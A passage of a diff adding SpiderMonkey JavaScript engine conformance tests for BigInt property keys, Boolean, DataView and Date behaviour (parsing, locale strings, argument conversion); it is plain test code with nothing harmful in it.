+ assertEq(o[2], "ok");
+}
+
+// In binding destructuring contexts.
+{
+ let {0n: a} = ["ok"];
+ assertEq(a, "ok");
+}
+
+// In binding destructuring contexts with object rest pattern.
+{
+ let {0n: a, ...b} = ["ok", "test"];
+ assertEq(a, "ok");
+ assertEqArray(Object.getOwnPropertyNames(b), ["1"]);
+}
+
+// In assignment destructuring contexts.
+{
+ let a;
+ ({0n: a} = ["ok"]);
+ assertEq(a, "ok");
+}
+
+// In assignment destructuring contexts with object rest pattern.
+{
+ let a, b;
+ ({0n: a, ...b} = ["ok", "test"]);
+ assertEq(a, "ok");
+ assertEqArray(Object.getOwnPropertyNames(b), ["1"]);
+}
+
+// BigInt literals as inferred names.
+{
+ let o = {
+ 0xan: function(){},
+ };
+
+ assertEq(o[10].name, "10");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Boolean/15.6.4.2.js b/js/src/tests/non262/Boolean/15.6.4.2.js
new file mode 100644
index 0000000000..3e10afa388
--- /dev/null
+++ b/js/src/tests/non262/Boolean/15.6.4.2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(42)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call("")'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(new String())'), true);
+
+assertEq(completesNormally('Boolean.prototype.toString.call(true)'), true);
+assertEq(completesNormally('Boolean.prototype.toString.call(new Boolean(true))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Boolean/browser.js b/js/src/tests/non262/Boolean/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Boolean/browser.js
diff --git a/js/src/tests/non262/Boolean/no-boolean-toJSON.js b/js/src/tests/non262/Boolean/no-boolean-toJSON.js
new file mode 100644
index 0000000000..e12c8049b0
--- /dev/null
+++ b/js/src/tests/non262/Boolean/no-boolean-toJSON.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Tom Schuster
+ */
+
+JSON.stringify(new Boolean(false), function(k, v) {
+ assertEq(typeof v, "object");
+});
+
+assertEq(Boolean.prototype.hasOwnProperty('toJSON'), false);
+
+Object.prototype.toJSON = function() { return 2; };
+assertEq(JSON.stringify(new Boolean(true)), "2");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Boolean/shell.js b/js/src/tests/non262/Boolean/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Boolean/shell.js
diff --git a/js/src/tests/non262/DataView/browser.js b/js/src/tests/non262/DataView/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/DataView/browser.js
diff --git a/js/src/tests/non262/DataView/detach-after-construction.js b/js/src/tests/non262/DataView/detach-after-construction.js
new file mode 100644
index 0000000000..e767fcffae
--- /dev/null
+++ b/js/src/tests/non262/DataView/detach-after-construction.js
@@ -0,0 +1,9 @@
+var buf = new ArrayBuffer([1,2]);
+var bufView = new DataView(buf);
+
+detachArrayBuffer(buf);
+
+assertThrowsInstanceOf(() => bufView.getInt8(0), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/DataView/get-set-index-range.js b/js/src/tests/non262/DataView/get-set-index-range.js
new file mode 100644
index 0000000000..4391591b67
--- /dev/null
+++ b/js/src/tests/non262/DataView/get-set-index-range.js
@@ -0,0 +1,36 @@
+var buffer = new ArrayBuffer(2);
+var view = new DataView(buffer);
+
+function check(view) {
+ for (let fun of ['getInt8', 'setInt8', 'getInt16', 'setInt16']) {
+ assertThrowsInstanceOf(() => view[fun](-10), RangeError);
+ assertThrowsInstanceOf(() => view[fun](-Infinity), RangeError);
+ assertThrowsInstanceOf(() => view[fun](Infinity), RangeError);
+
+ assertThrowsInstanceOf(() => view[fun](Math.pow(2, 53)), RangeError);
+ assertThrowsInstanceOf(() => view[fun](Math.pow(2, 54)), RangeError);
+ }
+}
+
+check(view);
+
+for (let fun of ['getInt8', 'getInt16']) {
+ assertEq(view[fun](0), 0);
+ assertEq(view[fun](undefined), 0);
+ assertEq(view[fun](NaN), 0);
+}
+
+if ('detachArrayBuffer' in this) {
+ // ToIndex is called before detachment check, so we can tell the difference
+ // between a ToIndex failure and a real out of bounds failure.
+ detachArrayBuffer(buffer);
+
+ check(view);
+
+ assertThrowsInstanceOf(() => view.getInt8(0), TypeError);
+ assertThrowsInstanceOf(() => view.setInt8(0, 0), TypeError);
+ assertThrowsInstanceOf(() => view.getInt8(Math.pow(2, 53) - 1), TypeError);
+ assertThrowsInstanceOf(() => view.setInt8(Math.pow(2, 53) - 1, 0), TypeError);
+}
+
+reportCompare(0, 0, 'OK');
diff --git a/js/src/tests/non262/DataView/getter-name.js b/js/src/tests/non262/DataView/getter-name.js
new file mode 100644
index 0000000000..600b7da8b3
--- /dev/null
+++ b/js/src/tests/non262/DataView/getter-name.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1180290;
+var summary = 'DataView getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "buffer").get.name, "get buffer");
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "byteLength").get.name, "get byteLength");
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "byteOffset").get.name, "get byteOffset");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/DataView/shell.js b/js/src/tests/non262/DataView/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/DataView/shell.js
diff --git a/js/src/tests/non262/Date/15.9.4.2.js b/js/src/tests/non262/Date/15.9.4.2.js
new file mode 100644
index 0000000000..684f7638fd
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.4.2.js
@@ -0,0 +1,134 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430930;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function iso(d)
+{
+ return new Date(d).toISOString();
+}
+
+function check(s, millis){
+ description = "Date.parse('"+s+"') == '"+iso(millis)+"'";
+ expected = millis;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function checkInvalid(s)
+{
+ description = "Date.parse('"+s+"') produces invalid date";
+ expected = NaN;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function dd(year, month, day, hour, minute, second, millis){
+ return Date.UTC(year, month-1, day, hour, minute, second, millis);
+}
+
+function TZAtDate(d){
+ return d.getTimezoneOffset() * 60000;
+}
+
+function TZInMonth(month, year){
+ return TZAtDate(new Date(dd(year,month,1,0,0,0,0)));
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+
+ Jan1970TZ = TZInMonth(1, 1970);
+ Jan2009TZ = TZInMonth(1, 2009);
+ Jul2009TZ = TZInMonth(7, 2009);
+ CurrTZ = TZAtDate(new Date());
+
+ // formats with explicit timezone
+ check("2009-07-23T19:53:21.001+12:00", dd(2009,7,23,7,53,21,1));
+ check("2009-07-23T19:53:21+12:00", dd(2009,7,23,7,53,21,0));
+ check("2009-07-23T19:53+12:00", dd(2009,7,23,7,53,0,0));
+
+ check("2009-07T19:53:21.001+12:00", dd(2009,7,1,7,53,21,1));
+ check("2009-07T19:53:21+12:00", dd(2009,7,1,7,53,21,0));
+ check("2009-07T19:53+12:00", dd(2009,7,1,7,53,0,0));
+
+ check("2009T19:53:21.001+12:00", dd(2009,1,1,7,53,21,1));
+ check("2009T19:53:21+12:00", dd(2009,1,1,7,53,21,0));
+ check("2009T19:53+12:00", dd(2009,1,1,7,53,0,0));
+
+ checkInvalid("T19:53:21.001+12:00");
+ checkInvalid("T19:53:21+12:00");
+ checkInvalid("T19:53+12:00");
+
+ // formats without timezone uses the timezone as at that date
+ check("2009-07-23T19:53:21.001", dd(2009,7,23,19,53,21,1)+Jul2009TZ);
+ check("2009-07-23T19:53:21", dd(2009,7,23,19,53,21,0)+Jul2009TZ);
+ check("2009-07-23T19:53", dd(2009,7,23,19,53,0,0)+Jul2009TZ);
+
+ check("2009-07T19:53:21.001", dd(2009,7,1,19,53,21,1)+Jul2009TZ);
+ check("2009-07T19:53:21", dd(2009,7,1,19,53,21,0)+Jul2009TZ);
+ check("2009-07T19:53", dd(2009,7,1,19,53,0,0)+Jul2009TZ);
+
+ check("2009T19:53:21.001", dd(2009,1,1,19,53,21,1)+Jan2009TZ);
+ check("2009T19:53:21", dd(2009,1,1,19,53,21,0)+Jan2009TZ);
+ check("2009T19:53", dd(2009,1,1,19,53,0,0)+Jan2009TZ);
+
+ checkInvalid("T19:53:21.001");
+ checkInvalid("T19:53:21");
+ checkInvalid("T19:53");
+
+ // with no time at all assume UTC
+ check("2009-07-23", dd(2009,7,23,0,0,0,0));
+ check("2009-07", dd(2009,7,1,0,0,0,0));
+ check("2009", dd(2009,1,1,0,0,0,0));
+
+ // one field too big
+ checkInvalid("2009-13-23T19:53:21.001+12:00");
+ checkInvalid("2009-07-32T19:53:21.001+12:00");
+ checkInvalid("2009-07-23T25:53:21.001+12:00");
+ checkInvalid("2009-07-23T19:60:21.001+12:00");
+ checkInvalid("2009-07-23T19:53:60.001+12:00");
+ checkInvalid("2009-07-23T19:53:21.001+24:00");
+ checkInvalid("2009-07-23T19:53:21.001+12:60");
+
+ // other month ends
+ check("2009-06-30T19:53:21.001+12:00", dd(2009,6,30,7,53,21,1));
+ checkInvalid("2009-06-31T19:53:21.001+12:00");
+ check("2009-02-28T19:53:21.001+12:00", dd(2009,2,28,7,53,21,1));
+ checkInvalid("2009-02-29T19:53:21.001+12:00");
+ check("2008-02-29T19:53:21.001+12:00", dd(2008,2,29,7,53,21,1));
+ checkInvalid("2008-02-30T19:53:21.001+12:00");
+
+ // limits of representation
+ checkInvalid("-271821-04-19T23:59:59.999Z");
+ check("-271821-04-20", -8.64e15);
+ check("+275760-09-13", 8.64e15);
+ checkInvalid("+275760-09-13T00:00:00.001Z");
+
+ check("-269845-07-23T19:53:21.001+12:00", dd(-269845,7,23,7,53,21,1));
+ check("+273785-07-23T19:53:21.001+12:00", dd(273785,7,23,7,53,21,1));
+
+ // explicit UTC
+ check("2009-07-23T19:53:21.001Z", dd(2009,7,23,19,53,21,1));
+ check("+002009-07-23T19:53:21.001Z", dd(2009,7,23,19,53,21,1));
+
+ // different timezones
+ check("2009-07-23T19:53:21.001+12:00", dd(2009,7,23,7,53,21,1));
+ check("2009-07-23T00:53:21.001-07:00", dd(2009,7,23,7,53,21,1));
+
+ // 00:00 and 24:00
+ check("2009-07-23T00:00:00.000-07:00", dd(2009,7,23,7,0,0,0));
+ check("2009-07-23T24:00:00.000-07:00", dd(2009,7,24,7,0,0,0));
+
+ // Bug 730838 - non-zero fraction part for midnight should produce NaN
+ checkInvalid("1970-01-01T24:00:00.500Z");
+}
diff --git a/js/src/tests/non262/Date/15.9.5.5-02.js b/js/src/tests/non262/Date/15.9.5.5-02.js
new file mode 100644
index 0000000000..07623e675c
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.5-02.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398485;
+var summary = 'Date.prototype.toLocaleString should not clamp year';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d;
+ var y;
+ var l;
+ var maxms = 8640000000000000;
+
+ d = new Date(-maxms );
+ y = d.getFullYear();
+
+ actual = y;
+ expect = -271821;
+ reportCompare(expect, actual, summary + ': check year');
+
+ l = d.toLocaleString();
+ print(l);
+ if (this.hasOwnProperty("Intl")) {
+ // ECMA-402 specifies that toLocaleString uses a proleptic Gregorian
+ // calender without year 0.
+ // Also, localized strings usually use era indicators such as "BC"
+ // instead of minus signs.
+ expect = Math.abs(y - 1) + '';
+ } else {
+ // ECMA-262 up to edition 5.1 didn't specify toLocaleString;
+ // the previous implementation assumed a calendar with year 0 and used
+ // minus sign.
+ expect = y + '';
+ }
+ actual = l.match(/-?[0-9]{3,}/) + '';
+ reportCompare(expect, actual, summary + ': check toLocaleString');
+
+ d = new Date(maxms );
+ y = d.getFullYear();
+ l = d.toLocaleString();
+ print(l);
+
+ actual = y;
+ expect = 275760;
+ reportCompare(expect, actual, summary + ': check year');
+
+ actual = l.match(new RegExp(y)) + '';
+ expect = y + '';
+ reportCompare(expect, actual, summary + ': check toLocaleString');
+}
diff --git a/js/src/tests/non262/Date/15.9.5.5.js b/js/src/tests/non262/Date/15.9.5.5.js
new file mode 100644
index 0000000000..1a21b33a63
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.5.js
@@ -0,0 +1,111 @@
+// |reftest| random-if(xulRuntime.OS=="Linux")
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.5.js
+ ECMA Section: 15.9.5.5 Date.prototype.toLocaleString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toLocaleString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Note: This test isn't supposed to work with a non-English locale per spec.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+*/
+
+var SECTION = "15.9.5.5";
+var TITLE = "Date.prototype.toLocaleString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var now = new Date();
+
+// first, some generic tests -
+
+status = "typeof (now.toLocaleString())";
+actual = typeof (now.toLocaleString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleString.length";
+actual = Date.prototype.toLocaleString.length;
+expect = 0;
+addTestCase();
+
+// Date.parse is accurate to the second; valueOf() to the millisecond -
+status = "Math.abs(Date.parse(now.toLocaleString('en-US')) - now.valueOf()) < 1000";
+actual = Math.abs(Date.parse(now.toLocaleString('en-US')) - now.valueOf()) < 1000;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(UTC_01_JAN_1900);
+addDateTestCase(UTC_01_JAN_1900 -TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(UTC_01_JAN_2000);
+addDateTestCase(UTC_01_JAN_2000 -TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_01_JAN_2005);
+addDateTestCase(UTC_01_JAN_2005 - 1000);
+addDateTestCase(UTC_01_JAN_2005-TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ AddTestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toLocaleString("en-US"))';
+ actual = Date.parse(givenDate.toLocaleString("en-US"));
+ expect = date_given_in_milliseconds;
+ addTestCase();
+}
+
diff --git a/js/src/tests/non262/Date/15.9.5.6.js b/js/src/tests/non262/Date/15.9.5.6.js
new file mode 100644
index 0000000000..67e67630ec
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.6.js
@@ -0,0 +1,118 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.6.js
+ ECMA Section: 15.9.5.6 Date.prototype.toLocaleDateString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toLocaleDateString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Note: This test isn't supposed to work with a non-English locale per spec.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+*/
+
+var SECTION = "15.9.5.6";
+var TITLE = "Date.prototype.toLocaleDateString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var now = new Date();
+
+// first, some generic tests -
+
+status = "typeof (now.toLocaleDateString())";
+actual = typeof (now.toLocaleDateString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleDateString.length";
+actual = Date.prototype.toLocaleDateString.length;
+expect = 0;
+addTestCase();
+
+/* Date.parse is accurate to the second; valueOf() to the millisecond.
+ Here we expect them to coincide, as we expect a time of exactly midnight - */
+status = "(Date.parse(now.toLocaleDateString('en-US')) - (midnight(now)).valueOf()) == 0";
+actual = (Date.parse(now.toLocaleDateString('en-US')) - (midnight(now)).valueOf()) == 0;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(UTC_01_JAN_1900);
+addDateTestCase(UTC_01_JAN_1900 - TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(UTC_01_JAN_2000);
+addDateTestCase(UTC_01_JAN_2000 - TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_01_JAN_2005);
+addDateTestCase(UTC_01_JAN_2005 - 1000);
+addDateTestCase(UTC_01_JAN_2005 - TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ new TestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toLocaleDateString("en-US"))';
+ actual = Date.parse(givenDate.toLocaleDateString("en-US"));
+ expect = Date.parse(midnight(givenDate));
+ addTestCase();
+}
+
+
+function midnight(givenDate)
+{
+ // midnight on the given date -
+ return new Date(givenDate.getFullYear(), givenDate.getMonth(), givenDate.getDate());
+}
+
diff --git a/js/src/tests/non262/Date/15.9.5.7.js b/js/src/tests/non262/Date/15.9.5.7.js
new file mode 100644
index 0000000000..61ebf72fee
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.7.js
@@ -0,0 +1,111 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/**
+ File Name: 15.9.5.7.js
+ ECMA Section: 15.9.5.7 Date.prototype.toLocaleTimeString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "time"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We test the content of the string by checking
+ that
+
+ new Date(d.toDateString() + " " + d.toLocaleTimeString()) == d
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+ Revised: 07 january 2002 because of a change in JS Date format:
+ Revised: 21 November 2005 since the string comparison stuff is horked.
+ bclary
+
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118266 (SpiderMonkey)
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118636 (Rhino)
+*/
+//-----------------------------------------------------------------------------
+var SECTION = "15.9.5.7";
+var TITLE = "Date.prototype.toLocaleTimeString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+var givenDate;
+var year = '';
+var regexp = '';
+var TimeString = '';
+var reducedDateString = '';
+var hopeThisIsLocaleTimeString = '';
+var cnERR ='OOPS! FATAL ERROR: no regexp match in extractLocaleTimeString()';
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var now = new Date();
+
+// valueOf() is to accurate to the millisecond,
+// Date.parse() is accurate only to the second
+var TIME_NOW = now.valueOf();
+
+// first, a couple generic tests -
+
+status = "typeof (now.toLocaleTimeString())";
+actual = typeof (now.toLocaleTimeString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleTimeString.length";
+actual = Date.prototype.toLocaleTimeString.length;
+expect = 0;
+addTestCase();
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+// 1900
+addDateTestCase(UTC_01_JAN_1900);
+addDateTestCase(UTC_01_JAN_1900 - TZ_ADJUST);
+
+// 2000
+addDateTestCase(UTC_01_JAN_2000);
+addDateTestCase(UTC_01_JAN_2000 - TZ_ADJUST);
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+// Now
+addDateTestCase( TIME_NOW);
+addDateTestCase( TIME_NOW - TZ_ADJUST);
+
+// 2005
+addDateTestCase(UTC_01_JAN_2005);
+addDateTestCase(UTC_01_JAN_2005 - 1000);
+addDateTestCase(UTC_01_JAN_2005 - TZ_ADJUST);
+
+test();
+
+function addTestCase()
+{
+ new TestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var s = 'new Date(' + date_given_in_milliseconds + ')';
+ givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'd = ' + s +
+ '; d == new Date(d.toDateString() + " " + d.toLocaleTimeString())';
+ expect = givenDate.toString();
+ actual = new Date(givenDate.toDateString() +
+ ' ' + givenDate.toLocaleTimeString()).toString();
+ addTestCase();
+}
+
diff --git a/js/src/tests/non262/Date/UTC-convert-all-arguments.js b/js/src/tests/non262/Date/UTC-convert-all-arguments.js
new file mode 100644
index 0000000000..2fee8b951d
--- /dev/null
+++ b/js/src/tests/non262/Date/UTC-convert-all-arguments.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1160356;
+var summary =
+ "Date.UTC must convert *all* arguments to number, not return NaN early if " +
+ "a non-finite argument is encountered";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(f, i)
+{
+ try
+ {
+ f();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e, 42, "index " + i + ": expected 42, got " + e);
+ }
+}
+
+var bad =
+ { toString: function() { throw 17; }, valueOf: function() { throw 42; } };
+
+var args =
+ [
+ [bad],
+
+ [NaN, bad],
+ [Infinity, bad],
+ [1970, bad],
+
+ [1970, NaN, bad],
+ [1970, Infinity, bad],
+ [1970, 4, bad],
+
+ [1970, 4, NaN, bad],
+ [1970, 4, Infinity, bad],
+ [1970, 4, 17, bad],
+
+ [1970, 4, 17, NaN, bad],
+ [1970, 4, 17, Infinity, bad],
+ [1970, 4, 17, 13, bad],
+
+ [1970, 4, 17, 13, NaN, bad],
+ [1970, 4, 17, 13, Infinity, bad],
+ [1970, 4, 17, 13, 37, bad],
+
+ [1970, 4, 17, 13, 37, NaN, bad],
+ [1970, 4, 17, 13, 37, Infinity, bad],
+ [1970, 4, 17, 13, 37, 23, bad],
+ ];
+
+for (var i = 0, len = args.length; i < len; i++)
+ expectThrowTypeError(function() { Date.UTC.apply(null, args[i]); }, i);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/browser.js b/js/src/tests/non262/Date/browser.js
new file mode 100644
index 0000000000..e2c7f6d317
--- /dev/null
+++ b/js/src/tests/non262/Date/browser.js
@@ -0,0 +1,12 @@
+if (typeof getDefaultLocale === "undefined") {
+ var getDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().getDefaultLocale;
+}
+if (typeof setDefaultLocale === "undefined") {
+ var setDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().setDefaultLocale;
+}
+if (typeof getTimeZone === "undefined") {
+ var getTimeZone = SpecialPowers.Cu.getJSTestingFunctions().getTimeZone;
+}
+if (typeof setTimeZone === "undefined") {
+ var setTimeZone = SpecialPowers.Cu.getJSTestingFunctions().setTimeZone;
+}
diff --git a/js/src/tests/non262/Date/constructor-convert-all-arguments.js b/js/src/tests/non262/Date/constructor-convert-all-arguments.js
new file mode 100644
index 0000000000..3a281cae22
--- /dev/null
+++ b/js/src/tests/non262/Date/constructor-convert-all-arguments.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1160356;
+var summary =
+ "new Date(...) must convert *all* arguments to number, not return NaN " +
+ "early if a non-finite argument is encountered";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(f, i)
+{
+ try
+ {
+ f();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e, 42, "index " + i + ": expected 42, got " + e);
+ }
+}
+
+var bad =
+ { toString: function() { throw 17; }, valueOf: function() { throw 42; } };
+
+var funcs =
+ [
+ function() { new Date(bad); },
+
+ function() { new Date(NaN, bad); },
+ function() { new Date(Infinity, bad); },
+ function() { new Date(1970, bad); },
+
+ function() { new Date(1970, NaN, bad); },
+ function() { new Date(1970, Infinity, bad); },
+ function() { new Date(1970, 4, bad); },
+
+ function() { new Date(1970, 4, NaN, bad); },
+ function() { new Date(1970, 4, Infinity, bad); },
+ function() { new Date(1970, 4, 17, bad); },
+
+ function() { new Date(1970, 4, 17, NaN, bad); },
+ function() { new Date(1970, 4, 17, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, bad); },
+
+ function() { new Date(1970, 4, 17, 13, NaN, bad); },
+ function() { new Date(1970, 4, 17, 13, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, bad); },
+
+ function() { new Date(1970, 4, 17, 13, 37, NaN, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, 23, bad); },
+ ];
+
+for (var i = 0, len = funcs.length; i < len; i++)
+ expectThrowTypeError(funcs[i]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/constructor-one-Date-argument.js b/js/src/tests/non262/Date/constructor-one-Date-argument.js
new file mode 100644
index 0000000000..718c413731
--- /dev/null
+++ b/js/src/tests/non262/Date/constructor-one-Date-argument.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1187233;
+var summary =
+ "Passing a Date object to |new Date()| should copy it, not convert it to " +
+ "a primitive and create it from that.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Date.prototype.toString = Date.prototype.valueOf = null;
+var d = new Date(new Date(8675309));
+assertEq(d.getTime(), 8675309);
+
+Date.prototype.valueOf = () => 42;
+d = new Date(new Date(8675309));
+assertEq(d.getTime(), 8675309);
+
+var D = newGlobal().Date;
+
+D.prototype.toString = D.prototype.valueOf = null;
+var d = new Date(new D(3141592654));
+assertEq(d.getTime(), 3141592654);
+
+D.prototype.valueOf = () => 525600;
+d = new Date(new D(3141592654));
+assertEq(d.getTime(), 3141592654);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/constructor-one-argument.js b/js/src/tests/non262/Date/constructor-one-argument.js
new file mode 100644
index 0000000000..d7acd33aad
--- /dev/null
